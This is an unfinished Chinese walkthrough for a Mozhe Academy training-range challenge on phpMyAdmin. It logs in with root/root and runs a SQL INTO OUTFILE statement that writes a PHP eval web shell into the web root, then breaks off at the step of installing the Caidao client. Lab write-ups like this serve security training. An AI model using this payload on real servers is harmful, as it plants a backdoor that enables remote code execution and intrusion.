信息安全

题目链接

https://www.mozhe.cn/bug/detail/RDM4VFA0aHFWT25Na09mdmhqcklxdz09bW96aGUmozhe

操作步骤

1. 进入“墨者学院”，然后点击“在线靶场”，找到“phpMyAdmin后台文件包含分析溯源”。

2. 点击“启动靶场环境”。
   

3. 之后“启动靶场环境”这几个字会变成“提交KEY”。

4. 同时我们会看见有一行写着：IP地址 : 219.153.49.228 端口 : 41479。这时候新开一个标签页，网址写：

   IP地址:端口号      （本题就是      219.153.49.228:41479）。
   

   回车进入该网址，我们会看到：（用户名：root；密码：root）
   ****

5. 点击最上面一排的“SQL”
   

6. 把以下这句代码复制到第一块空白区域，然后点击执行。

   select "<?php eval($_POST[pass]);?>" into outfile "/var/www/html/20200902.php"
   

7. 安装菜刀，晚一点更，因为我的是MAC……